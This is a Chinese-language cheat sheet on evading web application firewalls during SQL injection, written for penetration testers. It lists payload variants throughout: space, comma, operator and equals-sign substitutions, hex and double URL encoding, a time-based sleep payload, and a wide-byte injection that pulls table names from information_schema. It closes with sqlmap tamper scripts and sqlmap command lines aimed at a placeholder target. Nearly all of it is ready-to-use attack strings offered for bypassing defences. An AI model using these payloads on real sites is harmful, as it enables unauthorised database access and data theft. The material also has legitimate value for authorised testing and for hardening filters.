sql注入绕过与sqlmap绕过使用总结
字数 1404 2025-08-09 22:00:46
SQL注入绕过与SQLMap绕过使用总结
前言
在渗透测试过程中,经常会遇到存在SQL注入点但被WAF拦截的情况。本文总结了多种SQL注入绕过技术和SQLMap工具的绕过使用方法,帮助安全研究人员在实际测试中突破WAF防护。
手动绕过技术
一、空格被过滤
当空格被过滤时,可以使用以下替代方案:
- 编码形式:
%20,%09 - 注释形式:
/**/,/*注释*/ - 其他空白字符:
%0a,%0b,%0c,%0d,%a0
二、空格被过滤但括号未被过滤
可以使用多个括号代替空格:
select(admin())from data where(1=1)and(2=2)
id=1%27and(sleep(ascii(mid(data()from(1)for(1)))=1))%23
三、逗号绕过
当需要用到offset、join、limit等语句时:
- 使用
join代替:
union select 1,2
-- 替换为
union select * from (select 1)a join (select 2)b
- 使用
offset代替:
limit 2,1
-- 替换为
limit 1 offset 2
- 使用
like代替:
select ascii(mid(user(),1,1))=97
-- 替换为
select user() like 'a%'
四、逻辑运算符绕过
当or、and、not、xor被过滤时:
and等价于&&or等价于||xor等价于|not等价于!
五、等号绕过
?id=1 or 1 like 1 -- 用like代替等号
?id=1 or 1 rlike 1 -- 用rlike代替等号
?id=1 or 1 regexp 1 -- 用regexp代替等号
?id=1 or !(1 <> 1) -- 用<>加!代替等号
六、编码绕过
- 16进制绕过:
select * from users where username = user;
-- 替换为
select * from users where username = 0x75736572;
- 两次URL全编码:
1+and+1=2
-- 替换为
1+%25%36%31%25%36%65%25%36%34+1=2
七、函数替代绕过
当特定函数被禁用时:
hex(),bin()等价于ascii()sleep()等价于benchmark()concat_ws()等价于group_concat()mid(),substr()等价于substring()@@user等价于user()@@datadir等价于datadir()
八、宽字节绕过
当单双引号被转义时:
%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe
SQLMap绕过技术
SQLMap提供了多种tamper脚本用于绕过WAF防护:
常用tamper脚本
-
apostrophemask.py- 用UTF8代替引号- 示例:
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
- 示例:
-
base64encode.py- 使用Base64编码- 示例:
'MScgQU5EIFNMRUVQKDUpIw=='
- 示例:
-
multiplespaces.py- 在SQL关键字周围添加多个空格- 示例:
'1 UNION SELECT foobar'
- 示例:
-
space2plus.py- 用+替换空格- 示例:
'SELECT+id+FROM+users'
- 示例:
-
nonrecursivereplacement.py- 双重查询语句- 示例:
'1 UNIOUNIONN SELESELECTCT 2--'
- 示例:
-
space2randomblank.py- 用随机空白字符替换空格- 示例:
'SELECT%0Did%0DFROM%0Ausers'
- 示例:
-
unionalltounion.py- 替换UNION ALL SELECT为UNION SELECT- 示例:
'-1 UNION SELECT'
- 示例:
-
securesphere.py- 追加特制字符串- 示例:
"1 AND 1=1 and '0having'='0having'"
- 示例:
SQLMap使用示例
- 基本使用:
sqlmap.py -u "http://www.xxxxx.com/test.php?id=1" --delay=2 --random-agent --tamper "versionedmorekeywords.py"
- 使用多个tamper脚本:
sqlmap.py -u "http://www.xxxxx.com/test.php?id=1" --tamper "space2comment,versionedmorekeywords.py"
结语
在实际渗透测试中,应根据目标WAF的类型选择合适的绕过技术。可以通过以下方法判断WAF类型:
- 指纹识别
- 尝试不同注入语句观察拦截行为
对于特定WAF(如云锁),建议在虚拟机环境中进行断网测试,成功绕过后可分享具体思路。